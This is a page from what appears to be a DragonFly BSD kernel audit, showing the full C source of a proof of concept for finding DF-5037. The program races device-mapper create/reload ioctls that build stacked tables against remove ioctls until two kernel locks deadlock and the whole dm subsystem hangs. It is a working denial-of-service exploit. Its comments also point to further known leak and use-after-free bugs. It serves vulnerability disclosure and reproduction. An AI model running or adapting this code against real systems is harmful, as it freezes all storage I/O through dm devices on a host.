⬢ DragonFlyBSD Kernel Audit
DF-5037 / dm_abba.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
/*
 * dm_abba.c — DF-5037 PoC: permanent AB-BA kernel deadlock in DragonFly dm
 *             (dm_pdev_mutex held across vn_open()  <->  dm_dev_mutex held
 *              across cv_wait()/dm_table_destroy()).
 *
 * Thread A (loader): hammer "create"+"reload" ioctls building dm-on-dm
 *   tables (linear over /dev/mapper/pbase).  The linear ctor calls
 *   dm_pdev_insert() which takes dm_pdev_mutex EXCLUSIVE and then does
 *   vn_open("/dev/mapper/pbase") -> dmopen() -> dm_dev_lookup() which takes
 *   dm_dev_mutex.  So A can sleep holding dm_pdev_mutex (+ a busy ref on
 *   the device being reloaded + its table_mtx SHARED).
 *
 * Thread B (remover): hammer "remove_all" ioctl.  dm_dev_remove_all() takes
 *   dm_dev_mutex EXCLUSIVE and then disable_dev() cv_waits for ref_cnt==0
 *   and dm_dev_destroy() -> dm_table_destroy() -> linear dtor ->
 *   dm_pdev_decr() which takes dm_pdev_mutex.
 *
 * Two manifestations of the same inversion, both permanent:
 *   (1) A holds dm_pdev_mutex, wants dm_dev_mutex;
 *       B holds dm_dev_mutex, wants dm_pdev_mutex (dtor path).
 *   (2) A holds a dm_dev busy ref (mid-reload), blocked in dm_dev_lookup
 *       wanting dm_dev_mutex; B in disable_dev holds dm_dev_mutex and
 *       cv_waits for A's ref to drop.
 *
 * Result: both threads sleep forever, dm_dev_mutex/dm_pdev_mutex are never
 * released, every subsequent dm ioctl (and every I/O to any dm device)
 * wedges.  Root privileges required (/dev/mapper/control is 0640
 * root:operator, group cannot write).
 *
 * Build:  headers: cp -r sys/libprop /tmp/propinc/libprop
 *         cc -O2 -Wall -I/tmp/propinc -o dm_abba dm_abba.c -lprop -lpthread
 * Run:    ./dm_abba /dev/vbd0        (backing block device, opened R/W but
 *                                      never read/written)
 * Exit:   0  = ran to completion without wedging (timer expired)
 *         42 = DEADLOCK detected (both worker threads frozen, dm wedged)
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <libprop/proplib.h>

/* struct plistref comes in via <libprop/plistref.h> */
#define DM_IOCTL 0xfd
#define NETBSD_DM_IOCTL _IOWR(DM_IOCTL, 0, struct plistref)

#define NFILL	2		/* filler devices over raw backing	*/
#define NPBASE	4		/* base dm devices over raw backing	*/
#define NSTK	4		/* stacked: stkI over /dev/mapper/pbaseI */
#define NENT	8		/* linear table entries per device	*/

static int ctlfd = -1;
static const char *backing;

struct shared {
	unsigned long a, b;	/* progress counters			*/
	unsigned long fail;	/* failed reloads (leak-rate indicator)	*/
	unsigned long frozen_a, frozen_b;
	int last_r1, last_r2, last_c1, last_c2;
	double freeze_t;
	volatile int stop;
};
static struct shared *sh;

static double
now(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ts.tv_sec + ts.tv_nsec / 1e9;
}

/* Build the "command" wrapper dictionary the kernel expects. */
static prop_dictionary_t
mkcmd2(const char *cmd, const char *name)
{
	prop_dictionary_t d = prop_dictionary_create();
	prop_array_t ver;
	int i;

	ver = prop_array_create();
	for (i = 0; i < 3; i++)
		prop_array_add_uint32(ver, (uint32_t)(i == 0 ? 4 : (i == 1 ? 16 : 0)));
	prop_dictionary_set(d, "version", ver);
	prop_object_release(ver);
	prop_dictionary_set_cstring(d, "command", cmd);
	if (name)
		prop_dictionary_set_cstring(d, "name", name);
	prop_dictionary_set_uint32(d, "flags", 0);
	prop_dictionary_set_uint32(d, "minor", 0);
	return d;
}

static int
dm_do(prop_dictionary_t d)
{
	prop_dictionary_t out = NULL;
	int r;

	r = prop_dictionary_sendrecv_ioctl(d, ctlfd, NETBSD_DM_IOCTL, &out);
	if (out)
		prop_object_release(out);
	return r;
}

/* "reload" <name> with NENT linear entries over <dev> */
static int
reload_lin(const char *name, const char *dev)
{
	prop_dictionary_t d, t;
	prop_array_t arr;
	char params[256];
	int e, r;

	d = mkcmd2("reload", name);
	arr = prop_array_create();
	for (e = 0; e < NENT; e++) {
		t = prop_dictionary_create();
		prop_dictionary_set_cstring(t, "type", "linear");
		prop_dictionary_set_uint64(t, "start", (uint64_t)e);
		prop_dictionary_set_uint64(t, "length", (uint64_t)1);
		snprintf(params, sizeof(params), "%s 0", dev);
		prop_dictionary_set_cstring(t, "params", params);
		prop_array_add(arr, t);
		prop_object_release(t);
	}
	prop_dictionary_set(d, "cmd_data", arr);
	prop_object_release(arr);
	r = dm_do(d);
	prop_object_release(d);
	return r;
}

static int
create_dev(const char *name)
{
	prop_dictionary_t d = mkcmd2("create", name);
	int r = dm_do(d);
	prop_object_release(d);
	return r;
}

static void *
loader(void *arg)
{
	char nm[32];
	int i;

	(void)arg;
	while (!sh->stop) {
			/* fillers + base devices over the raw backing */
		for (i = 0; i < NFILL; i++) {
			snprintf(nm, sizeof(nm), "fill%d", i);
			create_dev(nm);		/* EEXIST is fine */
			if (reload_lin(nm, backing) != 0)
				sh->fail++;
		}
		for (i = 0; i < NPBASE; i++) {
			snprintf(nm, sizeof(nm), "pbase%d", i);
			create_dev(nm);
			if (reload_lin(nm, backing) != 0)
				sh->fail++;
		}
		/* stacked devices: stkI over the dm device pbaseI --
		 * dm_pdev_insert() here does vn_open("/dev/mapper/pbaseI")
		 * under dm_pdev_mutex, which re-enters dm (dmopen ->
		 * dm_dev_lookup -> dm_dev_mutex): the A side of the AB-BA. */
		for (i = 0; i < NSTK; i++) {
			char bn[32];
			snprintf(bn, sizeof(bn), "/dev/mapper/pbase%d", i);
			snprintf(nm, sizeof(nm), "stk%d", i);
			create_dev(nm);
			if (reload_lin(nm, bn) != 0)
				sh->fail++;
		}
		sh->a++;
	}
	return NULL;
}

static void *
remover(void *arg)
{
	prop_dictionary_t d;

	(void)arg;
	while (!sh->stop) {
		d = mkcmd2("remove_all", NULL);
		dm_do(d);
		prop_object_release(d);
		sh->b++;
		/* pace the remover so loader reloads mostly SUCCEED:
		 * failed reloads hit dm_table_load_ioctl ENOENT paths that
		 * leak the inbound prop tree (known DF-4474) and would
		 * kmalloc-panic the guest long before the deadlock race
		 * can play out (limit = RAM/10 per malloc type). */
		usleep(30000);
	}
	return NULL;
}

static int
resume_dev(const char *name)
{
	prop_dictionary_t d = mkcmd2("resume", name);
	int r = dm_do(d);
	prop_object_release(d);
	return r;
}

static int
remove_dev(const char *name)
{
	prop_dictionary_t d = mkcmd2("remove", name);
	int r = dm_do(d);
	prop_object_release(d);
	return r;
}

/*
 * duel mode: deterministic variant-2 trigger.
 *   P1 hammers reload(stack) with backing /dev/mapper/pbase (dm-on-dm).
 *      Each reload holds a dm_dev busy ref on `stack` for the whole ioctl
 *      and, inside it, (a) destroys the previous inactive table ->
 *      dm_pdev_decr -> dm_pdev_free -> vn_close(pbase vnode) -> dmclose
 *      -> dm_dev_lookup -> dm_dev_mutex, and (b) in the ctor ->
 *      dm_pdev_insert -> vn_open -> dmopen -> dm_dev_lookup ->
 *      dm_dev_mutex.
 *   P2 hammers remove(stack): dm_dev_remove_ioctl drops its own ref then
 *      dm_dev_remove -> disable_dev() cv_waits for ref_cnt==0 WHILE
 *      HOLDING dm_dev_mutex (dm_dev.c:308-310 + 73-75).
 * Interleave: P2 sleeps in cv_wait holding dm_dev_mutex waiting for P1's
 * busy ref; P1 sleeps in dmclose/dmopen -> dm_dev_lookup waiting for
 * dm_dev_mutex.  Permanent kernel deadlock; whole dm subsystem wedges.
 */
static void
duel(const char *backing, int runtime)
{
	pid_t p1, p2;
	double t0 = now();

	/* The stacked backing /dev/mapper/pbase must be RESUMED before its
	 * node is openable: dm_dev_resume_ioctl -> dmsetdiskinfo sets the
	 * disk media info; before that the disk layer fails opens (ENXIO)
	 * and dm_pdev_insert() would fail for every stacked table load. */
	create_dev("pbase");
	reload_lin("pbase", backing);
	if (resume_dev("pbase") != 0)
		printf("[!] resume(pbase) failed\n");
	create_dev("stk");

	printf("[*] duel: backing=%s runtime=%ds\n", backing, runtime);
	fflush(stdout);

	p1 = fork();
	if (p1 == 0) {
		for (;;) {
			int r = reload_lin("stk", "/dev/mapper/pbase");
			sh->last_r1 = r;
			if (r != 0) {
				/* stk was removed underneath us: let the
				 * remover finish its synchronous destroy,
				 * then rebuild (avoids the KNOWN DF-2443/
				 * DF-2447 remove/recreate UAF races). */
				sh->fail++;
				usleep(2000);
				sh->last_c1 = create_dev("pbase");
				if (sh->last_c1 == 0) {
					/* pbase was missing: rebuild it as an
					 * openable (resumed) device */
					reload_lin("pbase", "/dev/vbd0");
					sh->last_c1 = resume_dev("pbase");
				}
				sh->last_c2 = create_dev("stk");
				sh->last_r1 = reload_lin("stk",
				    "/dev/mapper/pbase");
			}
			sh->a++;
			if (sh->stop)
				_exit(0);
		}
	}
	p2 = fork();
	if (p2 == 0) {
		for (;;) {
			sh->last_r2 = remove_dev("stk");
			sh->b++;
			if (sh->stop)
				_exit(0);
			/* give P1 a clean window to recreate stk and
			 * resume hammering reloads before the next
			 * remove lands mid-reload; keep the pace slow
			 * so the dm unit/clone bitmap (DF-4900 aliasing
			 * after ~512 create/destroy cycles) stays clean
			 * long enough for the wedge to land. */
			usleep(5000);
		}
	}

	for (;;) {
		sleep(2);
		printf("[+] %5.1fs p1_reload=%lu p2_remove=%lu fails=%lu "
		    "r1=%d r2=%d c1=%d c2=%d\n",
		    now() - t0, sh->a, sh->b, sh->fail,
		    sh->last_r1, sh->last_r2, sh->last_c1, sh->last_c2);
		fflush(stdout);
		if (now() - t0 > runtime) {
			printf("[*] runtime elapsed, no deadlock "
			    "(p1=%lu p2=%lu)\n", sh->a, sh->b);
			fflush(stdout);
			sh->stop = 1;
			kill(p1, SIGKILL);
			kill(p2, SIGKILL);
			return;
		}
		if (sh->a == 0 && sh->b == 0)
			continue;
		if (sh->frozen_a == sh->a && sh->frozen_b == sh->b) {
			if (sh->freeze_t < 0.0)
				sh->freeze_t = now();
			else if (now() - sh->freeze_t > 6.0) {
				printf("[!] DEADLOCK: p1=%lu p2=%lu frozen "
				    "for %.1fs\n", sh->a, sh->b,
				    now() - sh->freeze_t);
				fflush(stdout);
				system("ps axo pid,stat,wchan,comm "
				    ">/dev/console 2>&1");
				printf("[*] canary: dmsetup ls (8s)\n");
				fflush(stdout);
				if (system("timeout 8 dmsetup ls") != 0)
					printf("[!] canary TIMED OUT: dm "
					    "subsystem wedged\n");
				else
					printf("[*] canary OK?!\n");
				fflush(stdout);
				sh->stop = 1;
				return;
			}
		} else {
			sh->frozen_a = sh->a;
			sh->frozen_b = sh->b;
			sh->freeze_t = -1.0;
		}
	}
}

int
main(int argc, char **argv)
{
	pthread_t ta, tb;
	unsigned long la = 0, lb = 0;
	double t0, tfreeze = -1.0, tlast;
	int runtime = 240;

	if (argc < 2)
		errx(1, "usage: %s <backing-dev> [runtime_sec] | %s duel <backing-dev> [runtime_sec]",
		    argv[0], argv[0]);

	ctlfd = open("/dev/mapper/control", O_RDWR);
	if (ctlfd < 0)
		err(1, "open /dev/mapper/control (need root)");

	if (strcmp(argv[1], "duel") == 0) {
		backing = argc > 2 ? argv[2] : "/dev/vbd0";
		if (argc > 3)
			runtime = atoi(argv[3]);
		sh = mmap(NULL, sizeof(*sh), PROT_READ|PROT_WRITE,
		    MAP_SHARED|MAP_ANON, -1, 0);
		memset(sh, 0, sizeof(*sh));
		sh->freeze_t = -1.0;
		duel(backing, runtime);
		return 0;
	}
	backing = argv[1];
	if (argc > 2)
		runtime = atoi(argv[2]);

	sh = calloc(1, sizeof(*sh));

	printf("[*] backing=%s runtime=%ds\n", backing, runtime);
	fflush(stdout);

	if (pthread_create(&ta, NULL, loader, NULL) ||
	    pthread_create(&tb, NULL, remover, NULL))
		errx(1, "pthread_create");

	t0 = tlast = now();
	while (now() - t0 < runtime) {
		sleep(2);
		unsigned long ca = sh->a, cb = sh->b;
		double t = now();
		printf("[+] %5.1fs  loader_iters=%lu remover_iters=%lu reload_fails=%lu\n",
		    t - t0, ca, cb, sh->fail);
		fflush(stdout);
		if (ca == la && cb == lb) {
			/* both counters frozen: check the threads are really
			 * stuck inside ioctls (killable check happens below) */
			if (tfreeze < 0.0) {
				tfreeze = t;
			} else if (t - tfreeze > 8.0) {
				printf("[!] DEADLOCK: both threads frozen for "
				    "%.1fs (loader=%lu remover=%lu)\n",
				    t - tfreeze, ca, cb);
				fflush(stdout);
				/* thread states survive on the serial console */
				system("ps axo pid,stat,wchan,comm "
				    ">/dev/console 2>&1");
				system("ps axl >/dev/console 2>&1");
				/* canary: any dm ioctl must now wedge too */
				printf("[*] canary: `timeout 8 dmsetup ls`\n");
				fflush(stdout);
				if (system("timeout 8 dmsetup ls >/tmp/canary.out 2>&1") != 0)
					printf("[!] canary dmsetup ls TIMED OUT "
					    "-> dm subsystem wedged\n");
				else
					printf("[*] canary unexpectedly OK\n");
				fflush(stdout);
				sh->stop = 1;
				return 42;
			}
		} else {
			tfreeze = -1.0;
		}
		la = ca; lb = cb;
	}
	sh->stop = 1;
	pthread_join(ta, NULL);
	pthread_join(tb, NULL);
	printf("[*] runtime elapsed without deadlock (loader=%lu remover=%lu)\n",
	    sh->a, sh->b);
	return 0;
}